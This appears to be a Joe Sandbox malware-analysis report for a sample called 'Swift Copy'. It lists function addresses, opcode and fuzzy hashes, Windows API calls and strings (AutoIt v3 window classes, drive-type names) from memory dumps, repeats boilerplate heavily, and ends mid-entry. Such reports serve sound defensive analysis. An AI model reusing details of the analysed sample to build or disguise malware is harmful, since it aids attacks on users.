Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: fcb1c9aeca6dcf3a3b317a95c8989a25647f3047a50896d0f3fecf36c6309d51
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 5791437A2090A34EDF2D467A857403EFFE15A923A671E079ED4F2CA1C1FE24C959D630

Function 00D97A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3109ff2ee8ca8b4f02b99ee37771e57db9210a8cdb1c2818b1b9299f24cd1666
Instruction ID: 067b2f85ffc0886e42d0094e3538fcd00a6418302e68eb8c5fd1c59ff3df0d08
Opcode Fuzzy Hash: 3109ff2ee8ca8b4f02b99ee37771e57db9210a8cdb1c2818b1b9299f24cd1666
Instruction Fuzzy Hash: A1618B7173870966DF389A2C8C95BBF2395EF41708F1C091AE88BDB291D611DE42C375

Function 00D97CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e231398b0a1d00aeb16456faa4623df0093474ba6e9f44a736c14a0461fdc2
Instruction ID: c955a02a379474026366efc8d34eac10ebdf72ccba8ed674d3f47d86313c567a
Opcode Fuzzy Hash: d0e231398b0a1d00aeb16456faa4623df0093474ba6e9f44a736c14a0461fdc2
Instruction Fuzzy Hash: 08615A7173870AE7DF385A288855BBF2394EF42704F1C0959F983DB281EA12DD429375

Function 00D91706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: b3db60f6c9e26dbe9543f9f396afb080d5d352951cebb86f5f88d4bea8ff4ab5
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: C881757A6090A35DDF6E427A853443EFFE15A923A131E079ED4F2CB1C1EE24D558EA30

Function 00ED3620 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 41af34196b7553c5eda9af411f51f4051088a107830d135d98e763ff53e73c48
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 5541A3B1D1051CEBCF48CFADC991AAEBBF1AF88201F548299D516AB345D730AB41DB50

Function 00ED34B0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 52ef7d3d859f8ae6978cc9a7caa5d5a5fd8662a8f64444c0d55425a7c41fb15d
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: 86019278A01109EFCB44DFA8C5909AEF7F5FB48310F20859AE819A7701D734AE42DB81

Function 00ED3510 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 6f786e5618da6c168ae75b2785bad2f35be7cad4ce3ddaf80656e4ba8b1cad4a
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: 64019278A00109EFCB44DFA8D5909AEF7F5FB48310F20869AE819A7701D730AE42DB81

Function 00ED1E70 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 00DF2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00DF2B30
DeleteObject.GDI32(00000000), ref: 00DF2B43
DestroyWindow.USER32 ref: 00DF2B52
GetDesktopWindow.USER32 ref: 00DF2B6D
GetWindowRect.USER32(00000000), ref: 00DF2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00DF2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00DF2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2CF8
GetClientRect.USER32(00000000,?), ref: 00DF2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00DF2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2D80
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2D98
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2DA8
GlobalFree.KERNEL32(00000000), ref: 00DF2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00E0FC38,00000000), ref: 00DF2DDB
GlobalFree.KERNEL32(00000000), ref: 00DF2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00DF2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00DF2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00DF303F

Strings

AutoIt v3, xrefs: 00DF2CF2
, xrefs: 00DF2FC5
static, xrefs: 00DF2D3A, 00DF2E91
DISPLAY, xrefs: 00DF2EA2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: f9c69c84fec21cd2fd762d7c7bb118468bf4d5b0b14ac52b06e90514f443ff37
Instruction ID: dd00cd08bd637835c9499ba2ad0ce9f35244b10c9ff835e2b62b02f92aaefc34
Opcode Fuzzy Hash: f9c69c84fec21cd2fd762d7c7bb118468bf4d5b0b14ac52b06e90514f443ff37
Instruction Fuzzy Hash: 78029B71900208AFDB14DFA5CC89EBE7BB9EF48710F148258F915AB2A1DB31AD45CB70

Function 00E070D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00E0712F
GetSysColorBrush.USER32(0000000F), ref: 00E07160
GetSysColor.USER32(0000000F), ref: 00E0716C
SetBkColor.GDI32(?,000000FF), ref: 00E07186
SelectObject.GDI32(?,?), ref: 00E07195
InflateRect.USER32(?,000000FF,000000FF), ref: 00E071C0
GetSysColor.USER32(00000010), ref: 00E071C8
CreateSolidBrush.GDI32(00000000), ref: 00E071CF
FrameRect.USER32(?,?,00000000), ref: 00E071DE
DeleteObject.GDI32(00000000), ref: 00E071E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00E07230
FillRect.USER32(?,?,?), ref: 00E07262
GetWindowLongW.USER32(?,000000F0), ref: 00E07284

Part of subcall function 00E073E8: GetSysColor.USER32(00000012), ref: 00E07421
Part of subcall function 00E073E8: SetTextColor.GDI32(?,?), ref: 00E07425
Part of subcall function 00E073E8: GetSysColorBrush.USER32(0000000F), ref: 00E0743B
Part of subcall function 00E073E8: GetSysColor.USER32(0000000F), ref: 00E07446
Part of subcall function 00E073E8: GetSysColor.USER32(00000011), ref: 00E07463
Part of subcall function 00E073E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E07471
Part of subcall function 00E073E8: SelectObject.GDI32(?,00000000), ref: 00E07482
Part of subcall function 00E073E8: SetBkColor.GDI32(?,00000000), ref: 00E0748B
Part of subcall function 00E073E8: SelectObject.GDI32(?,?), ref: 00E07498
Part of subcall function 00E073E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00E074B7
Part of subcall function 00E073E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E074CE
Part of subcall function 00E073E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00E074DB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: da44bee85f64c9cd3493878822728bf7a6cbbb1bf5b7ba1684457c567ea9d81f
Instruction ID: 39c64b8435c828e1df104e01203b23ebb88e18eb7c55f6203d638aac5986ea1b
Opcode Fuzzy Hash: da44bee85f64c9cd3493878822728bf7a6cbbb1bf5b7ba1684457c567ea9d81f
Instruction Fuzzy Hash: C9A1A172409301AFDB119F61DC48E5B7BA9FF49320F201B19F9A2B61E1D732E988CB51

Function 00D88D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00D88E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00DC6AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00DC6AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00DC6F43

Part of subcall function 00D88F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D88BE8,?,00000000,?,?,?,?,00D88BBA,00000000,?), ref: 00D88FC5

SendMessageW.USER32(?,00001053), ref: 00DC6F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00DC6F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00DC6FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00DC6FB7

Strings

0, xrefs: 00DC6DCF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 76907d44ef800cfd5ac7a9c849f31d1f2dfee90f0d40d12c571c318681b971dc
Instruction ID: fc1fb732000afdebf67ace67b51d8523aa81fde835b653a384e0ec57e9cd3654
Opcode Fuzzy Hash: 76907d44ef800cfd5ac7a9c849f31d1f2dfee90f0d40d12c571c318681b971dc
Instruction Fuzzy Hash: 3E129C34200202AFDB25DF24C944FA5BBE5FF49301F58856DF5859B261CB32EC96DB61

Function 00DF2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00DF273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00DF286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00DF28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00DF28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00DF2900
GetClientRect.USER32(00000000,?), ref: 00DF290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00DF2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00DF2964
GetStockObject.GDI32(00000011), ref: 00DF2974
SelectObject.GDI32(00000000,00000000), ref: 00DF2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00DF2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DF2991
DeleteDC.GDI32(00000000), ref: 00DF299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00DF29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00DF29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00DF2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00DF2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00DF2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00DF2A77
GetStockObject.GDI32(00000011), ref: 00DF2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00DF2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00DF2A97

Strings

msctls_progress32, xrefs: 00DF2A13
AutoIt v3, xrefs: 00DF28F8
static, xrefs: 00DF294F, 00DF2A71
DISPLAY, xrefs: 00DF295A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 370982493c0439fbb3b1867b86def3a5369073d6d253c0c9c90f1d6b1285e2fa
Instruction ID: 6e46e45d9b3c83a3f2cb7a4a70f417117b866a1e4dd0dae970d131dfd8a16db2
Opcode Fuzzy Hash: 370982493c0439fbb3b1867b86def3a5369073d6d253c0c9c90f1d6b1285e2fa
Instruction Fuzzy Hash: 63B16C75A00209AFEB14DFA9CC49FAE7BB9EB08710F118255FA14E7290D770AD45CBA0

Function 00DE4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DE4AED
GetDriveTypeW.KERNEL32(?,00E0CB68,?,\\.\,00E0CC08), ref: 00DE4BCA
SetErrorMode.KERNEL32(00000000,00E0CB68,?,\\.\,00E0CC08), ref: 00DE4D36

Strings

USB, xrefs: 00DE4CB4
FileBackedVirtual, xrefs: 00DE4CEC
SSD, xrefs: 00DE4C4A
RAMDisk, xrefs: 00DE4BF4
PhysicalDrive, xrefs: 00DE4B76
SAS, xrefs: 00DE4CC9
Unknown, xrefs: 00DE4BED, 00DE4C83
1394, xrefs: 00DE4C9F
CDROM, xrefs: 00DE4BFB
MMC, xrefs: 00DE4CDE
iSCSI, xrefs: 00DE4CC2
Fibre, xrefs: 00DE4CAD
ATAPI, xrefs: 00DE4C91
Network, xrefs: 00DE4C02
SATA, xrefs: 00DE4CD0
RAID, xrefs: 00DE4CBB
Removable, xrefs: 00DE4C10, 00DE4C15
Virtual, xrefs: 00DE4CE5
SCSI, xrefs: 00DE4C8A
ATA, xrefs: 00DE4C98
\\.\, xrefs: 00DE4B3F
Fixed, xrefs: 00DE4C09
SSA, xrefs: 00DE4CA6

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 5764afa8cb5a9a2179cfeca65f19b1c6bda346f47fe417ae7ce42c5798c92ad1
Instruction ID: a49c4dcf30ef46d87d334518ad223986c0b847af5b39f642b42e7e8639917527
Opcode Fuzzy Hash: 5764afa8cb5a9a2179cfeca65f19b1c6bda346f47fe417ae7ce42c5798c92ad1
Instruction Fuzzy Hash: 2B61A330605245ABCB04FF26C986969BBB1EF44304F38D415F84ABB691EB36ED41DB71

Function 00E073E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00E07421
SetTextColor.GDI32(?,?), ref: 00E07425
GetSysColorBrush.USER32(0000000F), ref: 00E0743B
GetSysColor.USER32(0000000F), ref: 00E07446
CreateSolidBrush.GDI32(?), ref: 00E0744B
GetSysColor.USER32(00000011), ref: 00E07463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E07471
SelectObject.GDI32(?,00000000), ref: 00E07482
SetBkColor.GDI32(?,00000000), ref: 00E0748B
SelectObject.GDI32(?,?), ref: 00E07498
InflateRect.USER32(?,000000FF,000000FF), ref: 00E074B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E074CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00E074DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E0752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00E07554
InflateRect.USER32(?,000000FD,000000FD), ref: 00E07572
DrawFocusRect.USER32(?,?), ref: 00E0757D
GetSysColor.USER32(00000011), ref: 00E0758E
SetTextColor.GDI32(?,00000000), ref: 00E07596
DrawTextW.USER32(?,00E070F5,000000FF,?,00000000), ref: 00E075A8
SelectObject.GDI32(?,?), ref: 00E075BF
DeleteObject.GDI32(?), ref: 00E075CA
SelectObject.GDI32(?,?), ref: 00E075D0
DeleteObject.GDI32(?), ref: 00E075D5
SetTextColor.GDI32(?,?), ref: 00E075DB
SetBkColor.GDI32(?,?), ref: 00E075E5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

